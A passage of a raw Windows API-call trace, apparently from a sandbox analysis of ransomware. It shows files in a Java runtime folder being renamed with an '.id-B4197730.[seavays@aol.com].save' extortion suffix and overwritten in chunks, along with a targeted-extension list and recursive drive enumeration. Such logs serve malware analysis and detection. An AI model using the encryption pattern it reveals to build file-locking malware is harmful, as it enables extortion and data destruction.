files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[seavays@aol.com].save")) returned 1 [0209.593] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0209.593] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc64 | out: lpNewFilePointer=0x0) returned 1 [0209.593] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc24 | out: lpNewFilePointer=0x0) returned 1 [0209.593] ReadFile (in: hFile=0x360, lpBuffer=0x4129058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3cafc30, lpOverlapped=0x0 | out: lpBuffer=0x4129058*, lpNumberOfBytesRead=0x3cafc30*=0x40000, lpOverlapped=0x0) returned 1 [0209.609] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xf7253, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc24 | out: lpNewFilePointer=0x0) returned 1 [0209.609] ReadFile (in: hFile=0x360, lpBuffer=0x4169058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3cafc30, lpOverlapped=0x0 | out: lpBuffer=0x4169058*, lpNumberOfBytesRead=0x3cafc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.031] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3cafc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.031] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x2a56fa, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc24 | out: lpNewFilePointer=0x0) returned 1 [0210.031] ReadFile (in: hFile=0x360, lpBuffer=0x41a9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3cafc30, lpOverlapped=0x0 | out: lpBuffer=0x41a9058*, lpNumberOfBytesRead=0x3cafc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.050] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0210.051] WriteFile (in: hFile=0x360, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x3cafca8, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafca8*=0xc0104, lpOverlapped=0x0) returned 1 [0210.073] SetEndOfFile (hFile=0x360) returned 1 [0210.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x43ba120 [0210.433] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc74 | out: lpNewFilePointer=0x0) returned 1 [0210.434] WriteFile (in: hFile=0x360, lpBuffer=0x43ba120*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3cafc80, lpOverlapped=0x0 | out: lpBuffer=0x43ba120*, lpNumberOfBytesWritten=0x3cafc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.435] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xf7253, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc74 | out: lpNewFilePointer=0x0) returned 1 [0210.435] WriteFile (in: hFile=0x360, lpBuffer=0x43ba120*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3cafc80, lpOverlapped=0x0 | out: lpBuffer=0x43ba120*, lpNumberOfBytesWritten=0x3cafc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.441] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x2a56fa, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc74 | out: lpNewFilePointer=0x0) returned 1 [0210.441] WriteFile (in: hFile=0x360, lpBuffer=0x43ba120*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3cafc80, lpOverlapped=0x0 | out: lpBuffer=0x43ba120*, lpNumberOfBytesWritten=0x3cafc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43ba120 | out: hHeap=0x5c0000) returned 1 [0210.445] CloseHandle (hObject=0x360) returned 1 [0210.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.446] lstrlenW (lpString=".doc") returned 4 [0210.446] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0210.446] lstrlenW (lpString=".docx") returned 5 [0210.446] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0210.446] lstrlenW (lpString=".pdf") returned 4 [0210.446] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0210.446] lstrlenW (lpString=".xls") returned 4 [0210.446] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0210.446] lstrlenW (lpString=".xlsx") returned 5 [0210.446] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0210.446] lstrlenW (lpString=".ppt") returned 4 [0210.446] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0210.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.446] lstrlenW (lpString=".zip") returned 4 [0210.446] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0210.446] lstrlenW (lpString=".rar") returned 4 [0210.446] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0210.446] lstrlenW (lpString=".bz2") returned 4 [0210.446] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0210.446] lstrlenW (lpString=".7z") returned 3 [0210.446] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0210.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.446] lstrlenW (lpString=".dbf") returned 4 [0210.446] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0210.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.446] lstrlenW (lpString=".1cd") returned 4 [0210.447] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0210.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.447] lstrlenW (lpString=".jpg") returned 4 [0210.447] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0210.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.447] lstrlenW (lpString=".doc") returned 4 [0210.447] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0210.447] lstrlenW (lpString=".docx") returned 5 [0210.447] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0210.447] lstrlenW (lpString=".pdf") returned 4 [0210.447] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0210.447] lstrlenW (lpString=".xls") returned 4 [0210.447] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0210.447] lstrlenW (lpString=".xlsx") returned 5 [0210.447] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0210.447] lstrlenW (lpString=".ppt") returned 4 [0210.447] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0210.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.447] lstrlenW (lpString=".zip") returned 4 [0210.447] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0210.447] lstrlenW (lpString=".rar") returned 4 [0210.447] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0210.447] lstrlenW (lpString=".bz2") returned 4 [0210.447] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0210.447] lstrlenW (lpString=".7z") returned 3 [0210.447] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0210.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.447] lstrlenW (lpString=".dbf") returned 4 [0210.448] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0210.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.448] lstrlenW (lpString=".1cd") returned 4 [0210.448] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0210.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0210.448] lstrlenW (lpString=".jpg") returned 4 [0210.448] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0210.448] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0210.448] lstrlenW (lpString="deploy.jar") returned 10 [0210.448] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0210.449] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=5040094) returned 1 [0210.449] CloseHandle (hObject=0x360) returned 1 [0210.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0210.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[seavays@aol.com].save")) returned 1 [0210.450] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0210.451] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc64 | out: lpNewFilePointer=0x0) returned 1 [0210.451] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc24 | out: lpNewFilePointer=0x0) returned 1 [0210.451] ReadFile (in: hFile=0x360, lpBuffer=0x4129058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3cafc30, lpOverlapped=0x0 | out: lpBuffer=0x4129058*, lpNumberOfBytesRead=0x3cafc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.463] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x19a29f, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc24 | out: lpNewFilePointer=0x0) returned 1 [0210.463] ReadFile (in: hFile=0x360, lpBuffer=0x4169058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3cafc30, lpOverlapped=0x0 | out: lpBuffer=0x4169058*, lpNumberOfBytesRead=0x3cafc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.470] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3cafc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.470] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x48e7de, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc24 | out: lpNewFilePointer=0x0) returned 1 [0210.470] ReadFile (in: hFile=0x360, lpBuffer=0x41a9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3cafc30, lpOverlapped=0x0 | out: lpBuffer=0x41a9058*, lpNumberOfBytesRead=0x3cafc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.931] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0210.931] WriteFile (in: hFile=0x360, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x3cafca8, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafca8*=0xc0100, lpOverlapped=0x0) returned 1 [0211.879] SetEndOfFile (hFile=0x360) returned 1 [0211.879] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x439a110 [0211.887] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc74 | out: lpNewFilePointer=0x0) returned 1 [0211.887] WriteFile (in: hFile=0x360, lpBuffer=0x439a110*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3cafc80, lpOverlapped=0x0 | out: lpBuffer=0x439a110*, lpNumberOfBytesWritten=0x3cafc80*=0x40000, lpOverlapped=0x0) returned 1 [0211.889] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x19a29f, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc74 | out: lpNewFilePointer=0x0) returned 1 [0211.889] WriteFile (in: hFile=0x360, lpBuffer=0x439a110*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3cafc80, lpOverlapped=0x0 | out: lpBuffer=0x439a110*, lpNumberOfBytesWritten=0x3cafc80*=0x40000, lpOverlapped=0x0) returned 1 [0211.892] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x48e7de, lpNewFilePointer=0x0, dwMoveMethod=0x3cafc74 | out: lpNewFilePointer=0x0) returned 1 [0211.892] WriteFile (in: hFile=0x360, lpBuffer=0x439a110*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3cafc80, lpOverlapped=0x0 | out: lpBuffer=0x439a110*, lpNumberOfBytesWritten=0x3cafc80*=0x40000, lpOverlapped=0x0) returned 1 [0211.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x439a110 | out: hHeap=0x5c0000) returned 1 [0211.898] CloseHandle (hObject=0x360) returned 1 [0211.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0211.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.899] lstrlenW (lpString=".doc") returned 4 [0211.899] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0211.899] lstrlenW (lpString=".docx") returned 5 [0211.899] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0211.899] lstrlenW (lpString=".pdf") returned 4 [0211.899] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0211.899] lstrlenW (lpString=".xls") returned 4 [0211.899] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0211.899] lstrlenW (lpString=".xlsx") returned 5 [0211.899] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0211.899] lstrlenW (lpString=".ppt") returned 4 [0211.899] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0211.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.900] lstrlenW (lpString=".zip") returned 4 [0211.900] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0211.900] lstrlenW (lpString=".rar") returned 4 [0211.900] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0211.900] lstrlenW (lpString=".bz2") returned 4 [0211.900] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0211.900] lstrlenW (lpString=".7z") returned 3 [0211.900] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0211.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.900] lstrlenW (lpString=".dbf") returned 4 [0211.900] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0211.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.900] lstrlenW (lpString=".1cd") returned 4 [0211.900] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0211.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.900] lstrlenW (lpString=".jpg") returned 4 [0211.900] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0211.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.900] lstrlenW (lpString=".doc") returned 4 [0211.900] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0211.900] lstrlenW (lpString=".docx") returned 5 [0211.901] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0211.901] lstrlenW (lpString=".pdf") returned 4 [0211.901] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0211.901] lstrlenW (lpString=".xls") returned 4 [0211.901] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0211.901] lstrlenW (lpString=".xlsx") returned 5 [0211.901] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0211.901] lstrlenW (lpString=".ppt") returned 4 [0211.901] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0211.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.901] lstrlenW (lpString=".zip") returned 4 [0211.901] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0211.901] lstrlenW (lpString=".rar") returned 4 [0211.901] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0211.901] lstrlenW (lpString=".bz2") returned 4 [0211.901] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0211.901] lstrlenW (lpString=".7z") returned 3 [0211.901] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0211.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.901] lstrlenW (lpString=".dbf") returned 4 [0211.901] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0211.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.901] lstrlenW (lpString=".1cd") returned 4 [0211.901] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0211.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0211.902] lstrlenW (lpString=".jpg") returned 4 [0211.902] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0211.902] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".save") returned -1 [0211.902] lstrlenW (lpString="meta-index") returned 10 [0211.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0211.902] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=1461) returned 1 [0211.903] CloseHandle (hObject=0x360) returned 1 [0211.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0211.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0211.903] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0211.905] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0211.905] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0211.905] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0211.907] GetLastError () returned 0x0 [0211.907] ReadFile (in: hFile=0x360, lpBuffer=0x4129020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cafecc, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesRead=0x3cafecc*=0x5b5, lpOverlapped=0x0) returned 1 [0211.908] WriteFile (in: hFile=0x35c, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x3cafc94, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafc94*=0x5c0, lpOverlapped=0x0) returned 1 [0211.909] ReadFile (in: hFile=0x360, lpBuffer=0x4129020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cafecc, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesRead=0x3cafecc*=0x0, lpOverlapped=0x0) returned 1 [0211.909] WriteFile (in: hFile=0x35c, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3cafc94, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafc94*=0xe8, lpOverlapped=0x0) returned 1 [0211.909] SetEndOfFile (hFile=0x35c) returned 1 [0211.909] CloseHandle (hObject=0x35c) returned 1 [0211.909] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0211.909] SetEndOfFile (hFile=0x360) returned 1 [0211.911] CloseHandle (hObject=0x360) returned 1 [0211.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) Thread: id = 103 os_tid = 0x41c [0205.712] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4230048 [0205.713] lstrlenW (lpString="C:") returned 2 [0205.713] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3defcf8 | out: lpFindFileData=0x3defcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5da310 [0205.713] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0205.713] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0205.713] lstrlenW (lpString="$GetCurrent") returned 11 [0205.713] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0205.713] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0205.714] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0205.714] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5da390 [0205.714] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0205.714] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0205.714] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0205.714] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0205.714] lstrlenW (lpString="Logs") returned 4 [0205.714] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0205.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4251060 [0205.715] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0205.715] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x5da3d0 [0205.716] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: 